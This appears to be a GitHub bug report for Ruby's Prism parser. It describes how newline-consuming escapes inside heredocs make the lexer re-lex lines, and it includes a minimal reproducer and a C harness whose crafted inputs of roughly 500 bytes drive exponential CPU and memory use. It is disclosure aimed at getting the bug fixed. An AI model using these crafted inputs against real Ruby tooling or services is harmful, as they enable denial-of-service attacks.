Unflushed heredoc_end in newline-consuming escape sequences causes Θ(2^n) exponential time and memory blowup

Start in the lexer paths named in the report: escape_write_escape_encoded, escape_read, and PM_LEX_HEREDOC; trace how they handle newline-consuming escapes when parser->heredoc_end and parser->next_start are set. Reproduce with the minimal Ruby input and inspect source.offsets for backward or duplicate offsets. Done means the crafted input no longer re-lexes heredoc lines or causes exponential time and memory growth, while parsing remains correct.

I reported this to [email protected] and [email protected] suggested a github issue.

When an escape sequence consumes a newline character (\<newline> in escape_write_escape_encoded, \c\n, \C-\n, \M-\n, or \r\n in escape_read, or a backslash line continuation \\\n inside a <<~ dedenting heredoc in PM_LEX_HEREDOC) on a line where a heredoc body has already been lexed (parser->heredoc_end != NULL), Prism skips appending the line offset to parser->line_offsets but fails to call parser_flush_heredoc_end(parser) and fails to break out of the enclosing string/list/regexp/heredoc token loop when parser->next_start != NULL.

As a result, the lexer walks directly into the already-lexed heredoc body on the following line instead of jumping to parser->heredoc_end. Worse, when an enclosing heredoc matches its closing terminator inside that re-entered region, PM_LEX_HEREDOC overwrites parser->heredoc_end with an earlier byte offset, causing an outer newline or escape sequence to jump backwards into the middle of the file. Framing $k$ repetitions of a 27-byte gadget with "\n<<\"\n" and two trailing newlines "\n\n" causes $\Theta(2^k)$ exponential parsing time and $\Theta(2^k)$ heap memory allocation from a tiny input (~493 bytes for 291 MB, ~601 bytes for > 4.6 GB) while completely evading the debug monotonicity assertion in
pm_line_offset_list_append_slow.

Reproduction

1. Non-monotonic line offsets minimal reproducer

ruby -Ilib -rprism -e 'p Prism.parse("<<\"\#{0}\n\#{<<0}\\C-\n\#{0}\n\n").source.offsets'
# => [0, 8, 18, 23, 24, 23, 24]

Running ./bin/parse -e $'<<"#{0}\n#{<<0}\\C-\n#{0}\n\n' (which has two trailing newlines so that the 4th newline at list->size == 4 is monotonic (24 > 23), resizing capacity from 4 to 6 before the backward jump to 23 at list->size == 5) produces the following output:

Warnings:
[#<Prism::ParseWarning @type=:void_statement @message="possibly useless use of a literal in void context" @location=#<Prism::Location @start_offset=0 @length=7 start_line=1> @level=:verbose>]

Errors:
[#<Prism::ParseError @type=:heredoc_identifier @message="unterminated here document identifier" @location=#<Prism::Location @start_offset=3 @length=4 start_line=1> @level=:syntax>,
 #<Prism::ParseError @type=:heredoc_term @message="unterminated heredoc; can't find string \"0\" anywhere before EOF" @location=#<Prism::Location @start_offset=12 @length=1 start_line=2> @level=:syntax>]

AST:
@ ProgramNode (location: (1,0)-(1,7))
├── flags: ∅
├── locals: []
└── statements:
    @ StatementsNode (location: (1,0)-(1,7))
    ├── flags: ∅
    └── body: (length: 1)
        └── @ InterpolatedStringNode (location: (1,0)-(1,7))
            ├── flags: newline
            ├── opening_loc: (1,0)-(1,7) = "<<\"\#{0}"
            ├── parts: (length: 2)
            │   ├── @ EmbeddedStatementsNode (location: (2,0)-(2,6))
            │   │   ├── flags: ∅
            │   │   ├── opening_loc: (2,0)-(2,2) = "\#{"
            │   │   ├── statements:
            │   │   │   @ StatementsNode (location: (2,2)-(2,5))
            │   │   │   ├── flags: ∅
            │   │   │   └── body: (length: 1)
            │   │   │       └── @ InterpolatedStringNode (location: (2,2)-(2,5))
            │   │   │           ├── flags: ∅
            │   │   │           ├── opening_loc: (2,2)-(2,5) = "<<0"
            │   │   │           ├── parts: (length: 2)
            │   │   │           │   ├── @ EmbeddedStatementsNode (location: (3,0)-(3,4))
            │   │   │           │   │   ├── flags: ∅
            │   │   │           │   │   ├── opening_loc: (3,0)-(3,2) = "\#{"
            │   │   │           │   │   ├── statements:
            │   │   │           │   │   │   @ StatementsNode (location: (3,2)-(3,3))
            │   │   │           │   │   │   ├── flags: ∅
            │   │   │           │   │   │   └── body: (length: 1)
            │   │   │           │   │   │       └── @ IntegerNode (location: (3,2)-(3,3))
            │   │   │           │   │   │           ├── flags: static_literal, decimal
            │   │   │           │   │   │           └── value: 0
            │   │   │           │   │   └── closing_loc: (3,3)-(3,4) = "}"
            │   │   │           │   └── @ StringNode (location: (3,4)-(7,0))
            │   │   │           │       ├── flags: static_literal, frozen
            │   │   │           │       ├── opening_loc: ∅
            │   │   │           │       ├── content_loc: (3,4)-(7,0) = "\n\n"
            │   │   │           │       ├── closing_loc: ∅
            │   │   │           │       └── unescaped: "\n\n"
            │   │   │           └── closing_loc: ∅
            │   │   └── closing_loc: (2,5)-(2,6) = "}"
            │   └── @ StringNode (location: (2,6)-(3,0))
            │       ├── flags: static_literal, frozen
            │       ├── opening_loc: ∅
            │       ├── content_loc: (2,6)-(3,0) = "\\C-\n"
            │       ├── closing_loc: ∅
            │       └── unescaped: "\n"
            └── closing_loc: (3,0)-(6,0) = "\#{0}\n"

Notice in the AST output above:

• Line 3 (#{0}\n, bytes 18..23) is lexed twice: first as EmbeddedStatementsNode (location: (3,0)-(3,4)) inside <<0, and a second time as closing_loc: (3,0)-(6,0) = "\#{0}\n" closing the outer <<"#{0} heredoc.
• Because offsets ([0, 8, 18, 23, 24, 23, 24]) has 7 entries, a 4-newline input produces node locations ending on line 6 ((3,0)-(6,0)) and line 7 ((3,4)-(7,0)).
• (With only a single trailing newline, ./bin/parse -e $'<<"#{0}\n#{<<0}\\C-\n#{0}\n' appends the duplicate offset 23 at list->size == 4 == list->capacity, aborting with Assertion failed: (list->size == 0 || cursor > list->offsets[list->size - 1]), function pm_line_offset_list_append_slow, file line_offset_list.c, line 43..)

2. C Program Demonstrating $\Theta(2^k)$ Memory & Line-Offset Blowup

Framing $k$ copies of the 3-line, 27-byte gadget "#{<<\"#{0}\"}\n#{<<0}\\C-\n#{0}\n" with "\n<<\"\n" (5 bytes) at the start and two trailing newlines "\n\n" (2 bytes) at the end:

#include "prism.h"
#include "prism/internal/arena.h"
#include "prism/internal/parser.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static size_t arena_bytes_used(const pm_arena_t *arena) {
    size_t total = 0;
    for (const pm_arena_block_t *b = arena->current; b != NULL; b = b->prev) {
        total += b->used;
    }
    return total;
}

static size_t arena_bytes_capacity(const pm_arena_t *arena) {
    size_t total = 0;
    for (const pm_arena_block_t *b = arena->current; b != NULL; b = b->prev) {
        total += sizeof(pm_arena_block_t) + b->capacity;
    }
    return total;
}

int main(void) {
    const char *gadget = "#{<<\"#{0}\"}\n#{<<0}\\C-\n#{0}\n";
    size_t gadget_len = strlen(gadget); // 27 bytes

    printf("%2s  %10s  %12s  %14s  %14s\n",
           "k", "input (B)", "line_offsets", "used (bytes)", "alloc (bytes)");
    for (int k = 1; k <= 18; k++) {
        size_t len = 5 + (size_t) k * gadget_len + 2;
        char *src = malloc(len + 1);
        memcpy(src, "\n<<\"\n", 5);
        for (int i = 0; i < k; i++) {
            memcpy(src + 5 + (size_t) i * gadget_len, gadget, gadget_len);
        }
        memcpy(src + 5 + (size_t) k * gadget_len, "\n\n", 3);

        pm_arena_t *arena = pm_arena_new();
        pm_parser_t *parser = pm_parser_new(arena, (const uint8_t *) src, len, NULL);
        (void) pm_parse(parser);

        size_t used = arena_bytes_used(arena) + arena_bytes_used(&parser->metadata_arena);
        size_t cap = arena_bytes_capacity(arena) + arena_bytes_capacity(&parser->metadata_arena);
        printf("%2d  %10zu  %12zu  %14zu  %14zu\n",
               k, len, parser->line_offsets.size, used, cap);

        pm_parser_free(parser);
        pm_arena_free(arena);
        free(src);
    }
    return 0;
}

Actual Output

 k   input (B)  line_offsets    used (bytes)   alloc (bytes)
 1          34            11            1554           16432
 2          61            23            3698           16432
 3          88            47            8170           16432
 4         115            95           16834           24648
 5         142           191           34490           41080
 6         169           383           70938           82160
 7         196           767          141346          164224
 8         223          1535          281355          320088
 9         250          3071          556696          623452
10         277          6143         1132889         1233476
11         304         12287         2298795         2439232
12         331         24575         4540480         4771620
13         358         49151         8953750         9542104
14         385         98303        18094328        19403388
15         412        196607        35674730        36850396
16         439        393215        72184401        75193532
17         466        786431       146961427       150438748
18         493       1572863       288224678       291305368

Every +1 increment of k (+27 bytes of input) doubles line_offsets ($6 \cdot 2^k - 1$), used (bytes), and alloc (bytes).

Impact

• Denial of Service (CPU and Memory Exhaustion): A ~500–600 byte Ruby input causes hundreds of megabytes to gigabytes of AST and line_offsets arena allocations and exponential CPU time ($\Theta(2^{n/27})$) in both release and debug builds.
• Corrupted parser->line_offsets: Re-lexing lines backwards appends non-monotonic offsets to parser->line_offsets.